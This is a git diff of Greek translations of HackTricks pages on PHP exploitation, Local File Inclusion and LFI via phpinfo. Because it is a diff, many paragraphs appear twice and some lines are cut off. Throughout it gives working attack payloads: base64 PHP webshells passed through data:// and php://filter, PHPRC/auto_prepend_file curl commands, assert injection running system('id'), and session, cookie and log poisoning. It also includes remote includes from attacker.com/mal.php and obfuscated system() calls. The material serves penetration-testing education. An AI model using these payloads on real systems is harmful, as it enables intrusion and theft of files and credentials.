Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, **PASSWORD_BCRYPT** έχει έναν **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, μόνο τα πρώτα 72B θα χρησιμοποιηθούν:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -183,8 +183,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Συμπλήρωση ενός σώματος πριν από την ρύθμιση των κεφαλίδων
Εάν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\
Στο παρακάτω σενάριο, ο **επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη, όταν η PHP προσπάθησε να **τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη):
Αν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\
Στο παρακάτω σενάριο, ο **επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη όταν η PHP προσπάθησε να **τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη):
![](<../../../images/image (1085).png>)
@ -266,22 +266,22 @@ usort();}phpinfo;#, "cmp");
### **RCE μέσω .httaccess**
Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
Εάν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
Διαφορετικά shells .htaccess μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
Διαφορετικά .htaccess shells μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
### RCE μέσω Env Variables
Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables σε PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
Εάν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables σε PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).
- **`PHPRC`** : Δίνει οδηγίες στην PHP για **πού να εντοπίσει το αρχείο ρύθμισης**, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στην PHP σε αυτό. Προσθέστε μια καταχώρηση **`auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
- **`PHPRC`** : Δίνει οδηγίες στην PHP για **πού να εντοπίσει το αρχείο ρύθμισης**, συνήθως ονομάζεται `php.ini`. Εάν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στην PHP σε αυτό. Προσθέστε μια είσοδο **`auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας
2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει οδηγίες στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2.
- Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
- **PHPRC** - άλλη επιλογή
- Αν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`:
- Εάν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- Ή για να αποκτήσετε RCE, ενεργοποιήστε το **`allow_url_include`** και προσθέστε ένα αρχείο με **base64 PHP κώδικα**:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@ -310,8 +310,8 @@ phpinfo();
```
## PHP Sanitization bypass & Brain Fuck
[**Σε αυτή την ανάρτηση**](https://blog.redteam-pentesting.de/2024/moodle-rce/) είναι δυνατή η εύρεση εξαιρετικών ιδεών για τη δημιουργία ενός brain fuck PHP κώδικα με πολύ λίγους επιτρεπόμενους χαρακτήρες.\
Επιπλέον, προτείνεται επίσης ένας ενδιαφέρον τρόπος εκτέλεσης συναρτήσεων που τους επέτρεψε να παρακάμψουν αρκετούς ελέγχους:
[**Σε αυτή την ανάρτηση**](https://blog.redteam-pentesting.de/2024/moodle-rce/) είναι δυνατόν να βρείτε εξαιρετικές ιδέες για να δημιουργήσετε έναν κώδικα brain fuck PHP με πολύ λίγους επιτρεπόμενους χαρακτήρες.\
Επιπλέον, προτείνεται επίσης ένας ενδιαφέρον τρόπος για να εκτελούνται συναρτήσεις που τους επέτρεψαν να παρακάμψουν αρκετούς ελέγχους:
```php
(1)->{system($_GET[chr(97)])}
```
@ -349,19 +349,19 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE εκμετάλλευση νέου $\_GET\["a"]\($\_GET\["b")
## RCE abusing new $\_GET\["a"]\($\_GET\["b")
Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, δες την παρακάτω σελίδα για να μάθεις πώς:
Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, έλεγξε την παρακάτω σελίδα για να μάθεις πώς:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
{{#endref}}
## Εκτέλεση PHP χωρίς γράμματα
## Execute PHP without letters
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### Χρησιμοποιώντας οκταδικούς
### Using octal
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```

View File

@ -95,11 +95,11 @@ http://example.com/index.php?page=../../../etc/passwd # depth of 3
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Σφάλμα / Καμία Έξοδος:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων κατάλογος είναι σε βάθος 3), χρησιμοποιήστε:
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
@ -148,7 +148,7 @@ http://example.com/index.php?page=PhP://filter
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Αν για κάποιο λόγο **`allow_url_include`** είναι **Ενεργό**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο δεδομένων με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE:
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο δεδομένων με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -171,9 +171,9 @@ os.path.join(os.getcwd(), "public", file_name)
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
Είναι η προορισμένη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
Είναι η προγραμματισμένη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η ένωση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
> Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η σύνδεση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
## Java Λίστα Καταλόγων
@ -281,17 +281,17 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**.
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι πλέον εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `a` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή a->b->c->d->e->f->g το γράμμα δεν είναι πλέον εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως n, o, p, q, r (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλους χαρακτήρες στην περιοχή των εξαγωνικών).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλους χαρακτήρες του κειμένου.
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πλέον εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, q, ρ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, είναι απαραίτητο να τον κωδικοποιήσετε σε base64 και να διαρρεύσετε τα 2 πρώτα γράμματα για να διαρρεύσετε τον αριθμό.
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφούμε με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να εξάγουμε το περιεχόμενο των ανοιχτών αρχείων:
Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να εξάγετε το περιεχόμενο των ανοιχτών αρχείων:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
@ -352,7 +352,7 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Για να συμπιέσετε το αρχείο `.phar`, θα πρέπει να εκτελέσετε την εξής εντολή:
Για να συμπεριληφθεί το αρχείο `.phar`, θα πρέπει να εκτελεστεί η παρακάτω εντολή:
```bash
php --define phar.readonly=0 create_path.php
```
@ -370,8 +370,8 @@ phar-deserialization.md
### CVE-2024-2961
Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο διαβασμένο από PHP που υποστηρίζει φίλτρα php** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτή την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Πολύ γρήγορη περίληψη: μια **υπερχείλιση 3 byte** στο σωρό PHP καταχράστηκε για να **αλλάξει την αλυσίδα ελεύθερων κομματιών** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλέσει **`system`**.\
Ήταν δυνατό να καταχραστεί **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP που υποστηρίζει φίλτρα php** για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτή την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Πολύ γρήγορη περίληψη: μια **υπερχείλιση 3 byte** στο σωρό PHP καταχράστηκε για να **αλλάξει την αλυσίδα των ελεύθερων κομματιών** συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η **γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλέσει **`system`**.\
Ήταν δυνατό να κατανεμηθούν κομμάτια συγκεκριμένων μεγεθών καταχρώντας περισσότερα φίλτρα php.
### Περισσότερα πρωτόκολλα
@ -382,16 +382,16 @@ phar-deserialization.md
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό σύστημα αρχείων
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ρεύματα συμπίεσης
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Βρείτε ονόματα διαδρομών που ταιριάζουν με το μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ροές Συμπίεσης
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Βρείτε ονόματα διαδρομών που ταιριάζουν με μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ρεύματα ήχου (Όχι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ροές ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
## LFI μέσω της 'assert' της PHP
Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη συνάρτηση 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
Για παράδειγμα, ο PHP κώδικας μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:
```bash
assert("strpos('$file', '..') === false") or die("");
```
@ -399,7 +399,7 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, μπορεί κανείς να χρησιμοποιήσει:
Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, μπορεί να χρησιμοποιηθεί:
```plaintext
' and die(system("id")) or '
```
@ -435,7 +435,7 @@ assert("strpos('$file', '..') === false") or die("");
>
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** ή η PHP θα έχει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **να είστε προσεκτικοί,** ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι URL κωδικοποιημένος και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτήν την κεφαλίδα.\
Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι URL κωδικοποιημένος και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτήν την κεφαλίδα.\
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
```python
/var/log/apache2/access.log
@ -492,7 +492,7 @@ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Ορίστε το cookie σε `<?php system('cat /etc/passwd');?>`
Ρυθμίστε το cookie σε `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
@ -545,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε session** και το `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** σε **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει την session για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε session** και `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη session για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
{{#ref}}
via-php_session_upload_progress.md
@ -592,7 +592,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Μέσω αιώνιας αναμονής + bruteforce
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **δοκιμάσετε να βρείτε ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, θα μπορούσατε τότε να **brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
{{#ref}}
lfi2rce-via-eternal-waiting.md
@ -612,6 +612,8 @@ lfi2rce-via-eternal-waiting.md
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,29 +6,31 @@
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Πρέπει να διορθώσετε την εκμετάλλευση (αλλάξτε **=>** σε **=>**). Για να το κάνετε αυτό μπορείτε να:
Πρέπει να διορθώσετε την εκμετάλλευση (να αλλάξετε **=>** σε **=>**). Για να το κάνετε αυτό μπορείτε να:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Πρέπει να αλλάξετε επίσης το **payload** στην αρχή της εκμετάλλευσης (για παράδειγμα, για ένα php-rev-shell), το **REQ1** (αυτό θα πρέπει να δείχνει στη σελίδα phpinfo και θα πρέπει να έχει το padding συμπεριλαμβανομένο, δηλαδή: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), και **LFIREQ** (αυτό θα πρέπει να δείχνει στην ευπάθεια LFI, δηλαδή: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Ελέγξτε το διπλό "%" όταν εκμεταλλεύεστε το null char)
{% file src="../../images/LFI-With-PHPInfo-Assistance.pdf" %}
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### Θεωρία
Αν επιτρέπονται οι αναφορές σε PHP και προσπαθήσετε να ανεβάσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό φάκελο μέχρι να ολοκληρωθεί η επεξεργασία του αιτήματος από τον διακομιστή, τότε αυτό το προσωρινό αρχείο διαγράφεται.
Αν οι αναφορές είναι επιτρεπτές σε PHP και προσπαθήσετε να ανεβάσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό φάκελο μέχρι ο διακομιστής να έχει ολοκληρώσει την επεξεργασία του αιτήματος, τότε αυτό το προσωρινό αρχείο διαγράφεται.
Έτσι, αν έχετε βρει μια ευπάθεια LFI στον διακομιστή ιστού μπορείτε να προσπαθήσετε να μαντέψετε το όνομα του προσωρινού αρχείου που δημιουργήθηκε και να εκμεταλλευτείτε μια RCE αποκτώντας πρόσβαση στο προσωρινό αρχείο πριν διαγραφεί.
Στα **Windows** τα αρχεία αποθηκεύονται συνήθως στο **C:\Windows\temp\php**
Στα **Windows** τα αρχεία συνήθως αποθηκεύονται στο **C:\Windows\temp\php**
